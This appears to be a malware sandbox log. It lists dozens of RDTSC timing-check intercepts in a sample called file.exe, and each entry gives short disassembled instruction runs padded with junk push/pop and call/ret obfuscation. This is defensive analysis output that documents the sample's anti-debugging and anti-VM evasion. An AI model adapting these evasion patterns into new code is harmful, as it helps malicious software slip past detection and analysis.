Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC0AF second address: 8EC0DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1364D027B2h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007F1364D027B1h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA18F second address: 8EA195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EB158 second address: 8EB15E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EB15E second address: 8EB166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ED176 second address: 8ED1A0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1364D027BCh 0x00000008 jmp 00007F1364D027B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007F1364D027A6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ED1A0 second address: 8ED1A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE13F second address: 8EE144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF218 second address: 8EF21D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE374 second address: 8EE379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F01A4 second address: 8F0229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ecx 0x00000009 call 00007F1364F5E248h 0x0000000e pop ecx 0x0000000f mov dword ptr [esp+04h], ecx 0x00000013 add dword ptr [esp+04h], 00000019h 0x0000001b inc ecx 0x0000001c push ecx 0x0000001d ret 0x0000001e pop ecx 0x0000001f ret 0x00000020 mov ebx, edi 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push eax 0x00000027 call 00007F1364F5E248h 0x0000002c pop eax 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 add dword ptr [esp+04h], 00000018h 0x00000039 inc eax 0x0000003a push eax 0x0000003b ret 0x0000003c pop eax 0x0000003d ret 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push ebx 0x00000043 call 00007F1364F5E248h 0x00000048 pop ebx 0x00000049 mov dword ptr [esp+04h], ebx 0x0000004d add dword ptr [esp+04h], 00000016h 0x00000055 inc ebx 0x00000056 push ebx 0x00000057 ret 0x00000058 pop ebx 0x00000059 ret 0x0000005a sub dword ptr [ebp+1244D9DFh], esi 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 jmp 00007F1364F5E24Fh 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F132B second address: 8F1359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D3344h], edx 0x0000000f push 00000000h 0x00000011 and bl, FFFFFFC5h 0x00000014 push 00000000h 0x00000016 mov ebx, 3AEAB542h 0x0000001b mov dword ptr [ebp+122D18F9h], ebx 0x00000021 xchg eax, esi 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 jnp 00007F1364D027A6h 0x0000002b push esi 0x0000002c pop esi 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F1359 second address: 8F1370 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F1364F5E24Bh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F1370 second address: 8F1374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F1374 second address: 8F1382 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1364F5E246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F14D7 second address: 8F14DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3142 second address: 8F3148 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F14DC second address: 8F157A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1364D027ACh 0x00000008 je 00007F1364D027A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F1364D027A8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d push dword ptr fs:[00000000h] 0x00000034 jnc 00007F1364D027A9h 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 adc di, 03F1h 0x00000046 mov eax, dword ptr [ebp+122D0B85h] 0x0000004c mov ebx, 0329F738h 0x00000051 push FFFFFFFFh 0x00000053 push 00000000h 0x00000055 push ecx 0x00000056 call 00007F1364D027A8h 0x0000005b pop ecx 0x0000005c mov dword ptr [esp+04h], ecx 0x00000060 add dword ptr [esp+04h], 00000015h 0x00000068 inc ecx 0x00000069 push ecx 0x0000006a ret 0x0000006b pop ecx 0x0000006c ret 0x0000006d jmp 00007F1364D027B5h 0x00000072 push edi 0x00000073 js 00007F1364D027ACh 0x00000079 mov dword ptr [ebp+12478273h], esi 0x0000007f pop ebx 0x00000080 push eax 0x00000081 push ecx 0x00000082 push eax 0x00000083 push edx 0x00000084 push eax 0x00000085 push edx 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3148 second address: 8F3169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnp 00007F1364F5E246h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F1364F5E24Eh 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F157A second address: 8F157E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F41B7 second address: 8F41CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1364F5E252h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3316 second address: 8F331A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4380 second address: 8F4384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6014 second address: 8F601B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5303 second address: 8F5307 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F601B second address: 8F6020 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5307 second address: 8F5314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6020 second address: 8F6026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5314 second address: 8F5318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5318 second address: 8F5332 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1364D027A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1364D027AEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F6026 second address: 8F60AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F1364F5E248h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 add ebx, dword ptr [ebp+1246BCC7h] 0x0000002a push 00000000h 0x0000002c or edi, dword ptr [ebp+122D2D82h] 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007F1364F5E248h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 00000016h 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e jmp 00007F1364F5E257h 0x00000053 sbb di, 97D5h 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F1364F5E24Eh 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F60AF second address: 8F60B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD79F second address: 8FD7BC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F1364F5E257h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD7BC second address: 8FD7C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD7C2 second address: 8FD7C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD7C8 second address: 8FD7D5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDBF4 second address: 8FDBF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDBF8 second address: 8FDBFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDBFC second address: 8FDC12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jg 00007F1364F5E246h 0x0000000f jnl 00007F1364F5E246h 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDC12 second address: 8FDC27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027ABh 0x00000007 jg 00007F1364D027AEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9032B5 second address: 9032BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90625B second address: 90625F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90625F second address: 906265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906265 second address: 906295 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edi 0x0000000d pushad 0x0000000e jc 00007F1364D027A6h 0x00000014 jmp 00007F1364D027B2h 0x00000019 popad 0x0000001a pop edi 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906295 second address: 90629F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1364F5E246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90629F second address: 9062A9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1364D027ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DBC7 second address: 90DBDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1364F5E252h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DD47 second address: 90DD99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1364D027B9h 0x00000009 pop edx 0x0000000a pushad 0x0000000b jmp 00007F1364D027B5h 0x00000010 push edi 0x00000011 pop edi 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a pop eax 0x0000001b push edi 0x0000001c jmp 00007F1364D027B0h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DD99 second address: 90DDB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 jmp 00007F1364F5E24Ah 0x0000000e pop eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DDB0 second address: 90DDB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DDB5 second address: 90DDBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DDBB second address: 90DDC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DDC1 second address: 90DDCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DF02 second address: 90DF17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F1364D027B0h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DF17 second address: 90DF1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9174A8 second address: 9174C7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F1364D027AFh 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91633B second address: 916367 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1364F5E246h 0x00000008 jns 00007F1364F5E246h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F1364F5E253h 0x00000016 jc 00007F1364F5E246h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916367 second address: 91636E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91636E second address: 91637D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F1364F5E246h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91637D second address: 916389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916389 second address: 91638F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91638F second address: 9163A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9163A3 second address: 9163D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1364F5E246h 0x0000000a jmp 00007F1364F5E253h 0x0000000f ja 00007F1364F5E246h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jnl 00007F1364F5E246h 0x0000001e push edx 0x0000001f pop edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D9367 second address: 8D93A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 clc 0x00000009 lea eax, dword ptr [ebp+1247EFF7h] 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F1364D027A8h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 nop 0x0000002a push eax 0x0000002b push edx 0x0000002c jl 00007F1364D027ACh 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D93A2 second address: 8D93A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D946E second address: 8D9474 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D9474 second address: 8D9491 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1364F5E248h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jc 00007F1364F5E246h 0x00000014 js 00007F1364F5E246h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D95A9 second address: 8D95AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D95AD second address: 8D95C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1364F5E24Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D9862 second address: 8D9869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D9869 second address: 8D986F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D986F second address: 72D872 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F1364D027B7h 0x00000011 push dword ptr [ebp+122D1251h] 0x00000017 pushad 0x00000018 jmp 00007F1364D027B0h 0x0000001d mov eax, dword ptr [ebp+122D36E1h] 0x00000023 popad 0x00000024 call dword ptr [ebp+122D33E6h] 0x0000002a pushad 0x0000002b pushad 0x0000002c push esi 0x0000002d pushad 0x0000002e popad 0x0000002f pop ecx 0x00000030 popad 0x00000031 xor eax, eax 0x00000033 jbe 00007F1364D027AEh 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d jmp 00007F1364D027B4h 0x00000042 jnc 00007F1364D027ADh 0x00000048 mov dword ptr [ebp+122D3461h], eax 0x0000004e mov dword ptr [ebp+122D195Bh], edx 0x00000054 cld 0x00000055 mov esi, 0000003Ch 0x0000005a jmp 00007F1364D027AAh 0x0000005f add esi, dword ptr [esp+24h] 0x00000063 stc 0x00000064 lodsw 0x00000066 mov dword ptr [ebp+122D195Bh], ebx 0x0000006c add eax, dword ptr [esp+24h] 0x00000070 mov dword ptr [ebp+122D18C0h], edx 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a cld 0x0000007b push eax 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f push ebx 0x00000080 pop ebx 0x00000081 jo 00007F1364D027A6h 0x00000087 popad 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D9A3A second address: 8D9A67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1364F5E256h 0x00000009 popad 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 push esi 0x00000011 jns 00007F1364F5E246h 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D9A67 second address: 8D9A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D9A6B second address: 8D9A6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D9A6F second address: 8D9AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F1364D027A8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 and ecx, dword ptr [ebp+122D33ACh] 0x00000028 mov cl, 02h 0x0000002a push 7E38530Fh 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 jmp 00007F1364D027B6h 0x00000037 push edx 0x00000038 pop edx 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D9D5B second address: 8D9D5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D9D5F second address: 8D9D6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push esi 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA31D second address: 8DA32A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
